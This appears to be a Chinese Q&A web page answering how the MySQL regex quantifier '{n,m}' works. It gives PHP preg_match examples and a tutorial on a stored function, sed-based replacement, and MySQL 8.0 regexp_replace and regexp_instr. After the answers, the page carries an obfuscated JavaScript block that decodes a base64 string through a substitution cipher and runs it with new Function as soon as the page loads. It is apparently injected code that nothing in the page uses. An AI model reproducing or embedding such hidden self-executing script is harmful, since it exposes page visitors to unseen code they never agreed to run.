mysql数据库中 正则表达式 “{n,m}”的用法?

2025-03-16 13:26:26
推荐回答(3个)
回答1:

{n,m}
表示,前面的字符至少匹配n次,最多匹配m次
用php preg_match()函数举例

$str = 'goooogle';
if(preg_match("/go{1,3}gle/",$str)) echo '匹配';
else echo '不匹配';
//g*gle 其中的*号只能在1-3个o时能匹配
?>

回答2:

{n,m}
表示,前面的字符至少匹配n次,最多匹配m次
用php
preg_match()函数举例
$str
=
'goooogle';
if(preg_match("/go{1,3}gle/",$str))
echo
'匹配';
else
echo
'不匹配';
//g*gle
其中的*号只能在1-3个o时能匹配
?>

回答3:

MySQL 一直以来都支持正则匹配,不过对于正则替换则一直到MySQL 8.0 才支持。对于这类场景,以前要么在MySQL端处理,要么把数据拿出来在应用端处理。

比如我想把表y1的列str1的出现第3个action的子 串替换成dble,怎么实现?


1. 自己写SQL层的存储函数。代码如下写死了3个,没有优化,仅仅作为演示,MySQL 里非常不建议写这样的函数。

  • mysql

  • DELIMITER $$

  • USE `ytt`$$

  • DROP FUNCTION IF EXISTS `func_instr_simple_ytt`$$

  • CREATE DEFINER=`root`@`localhost` FUNCTION `func_instr_simple_ytt`(

  • f_str VARCHAR(1000), -- Parameter 1

  • f_substr VARCHAR(100),  -- Parameter 2

  • f_replace_str varchar(100),

  • f_times int -- times counter.only support  3.

  • ) RETURNS varchar(1000)

  • BEGIN

  • declare v_result varchar(1000) default 'ytt'; -- result.

  • declare v_substr_len int default 0; -- search string length.

  • set f_times = 3; -- only support  3.

  • set v_substr_len = length(f_substr);

  • select instr(f_str,f_substr) into @p1; -- First real position .

  • select instr(substr(f_str,@p1+v_substr_len),f_substr) into @p2; Secondary virtual position.

  • select instr(substr(f_str,@p2+ @p1 +2*v_substr_len - 1),f_substr) into @p3; -- Third virtual position.

  • if @p1 > 0  && @p2 > 0 && @p3 > 0 then -- Fine.

  • select

  • concat(substr(f_str,1,@p1 + @p2 + @p3 + (f_times - 1) * v_substr_len  - f_times)

  • ,f_replace_str,

  • substr(f_str,@p1 + @p2 + @p3 + f_times * v_substr_len-2)) into v_result;

  • else

  • set v_result = f_str; -- Never changed.

  • end if;

  • -- Purge all session variables.

  • set @p1 = null;

  • set @p2 = null;

  • set @p3 = null;

  • return v_result;

  • end;

  • $$

  • DELIMITER ;

  • -- 调用函数来更新:

  • mysql> update y1 set str1 = func_instr_simple_ytt(str1,'action','dble',3);

  • Query OK, 20 rows affected (0.12 sec)

  • Rows matched: 20  Changed: 20  Warnings: 0

  • 2. 导出来用sed之类的工具替换掉在导入,步骤如下:(推荐使用)

    1)导出表y1的记录。

  • mysqlmysql> select * from y1 into outfile '/var/lib/mysql-files/y1.csv';Query OK, 20 rows affected (0.00 sec)


  • 2)用sed替换导出来的数据。

  • shellroot@ytt-Aspire-V5-471G:/var/lib/mysql-files#  sed -i 's/action/dble/3' y1.csv


  • 3)再次导入处理好的数据,完成。

  • mysql

  • mysql> truncate y1;

  • Query OK, 0 rows affected (0.99 sec)

  • mysql> load data infile '/var/lib/mysql-files/y1.csv' into table y1;

  • Query OK, 20 rows affected (0.14 sec)

  • Records: 20  Deleted: 0  Skipped: 0  Warnings: 0

  • 以上两种还是推荐导出来处理好了再重新导入,性能来的高些,而且还不用自己费劲写函数代码。

    那MySQL 8.0 对于以上的场景实现就非常简单了,一个函数就搞定了。

  • mysqlmysql> update y1 set str1 = regexp_replace(str1,'action','dble',1,3) ;Query OK, 20 rows affected (0.13 sec)Rows matched: 20  Changed: 20  Warnings: 0


  • 还有一个regexp_instr 也非常有用,特别是这种特指出现第几次的场景。比如定义 SESSION 变量@a。

  • mysqlmysql> set @a = 'aa bb cc ee fi lucy  1 1 1 b s 2 3 4 5 2 3 5 561 19 10 10 20 30 10 40';Query OK, 0 rows affected (0.04 sec)


  • 拿到至少两次的数字出现的第二次子串的位置。

  • mysqlmysql> select regexp_instr(@a,'[:digit:]{2,}',1,2);+--------------------------------------+| regexp_instr(@a,'[:digit:]{2,}',1,2) |+--------------------------------------+|                                   50 |+--------------------------------------+1 row in set (0.00 sec)


  • 那我们在看看对多字节字符支持如何。

  • mysql

  • mysql> set @a = '中国 美国 俄罗斯 日本 中国 北京 上海 深圳 广州 北京 上海 武汉 东莞 北京 青岛 北京';

  • Query OK, 0 rows affected (0.00 sec)

  • mysql> select regexp_instr(@a,'北京',1,1);

  • +-------------------------------+

  • | regexp_instr(@a,'北京',1,1)   |

  • +-------------------------------+

  • |                            17 |

  • +-------------------------------+

  • 1 row in set (0.00 sec)

  • mysql> select regexp_instr(@a,'北京',1,2);

  • +-------------------------------+

  • | regexp_instr(@a,'北京',1,2)   |

  • +-------------------------------+

  • |                            29 |

  • +-------------------------------+

  • 1 row in set (0.00 sec)

  • mysql> select regexp_instr(@a,'北京',1,3);

  • +-------------------------------+

  • | regexp_instr(@a,'北京',1,3)   |

  • +-------------------------------+

  • |                            41 |

  • +-------------------------------+

  • 1 row in set (0.00 sec)

  • 那总结下,这里我提到了 MySQL 8.0 的两个最有用的正则匹配函数 regexp_replace 和 regexp_instr。针对以前类似的场景算是有一个完美的解决方案。

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();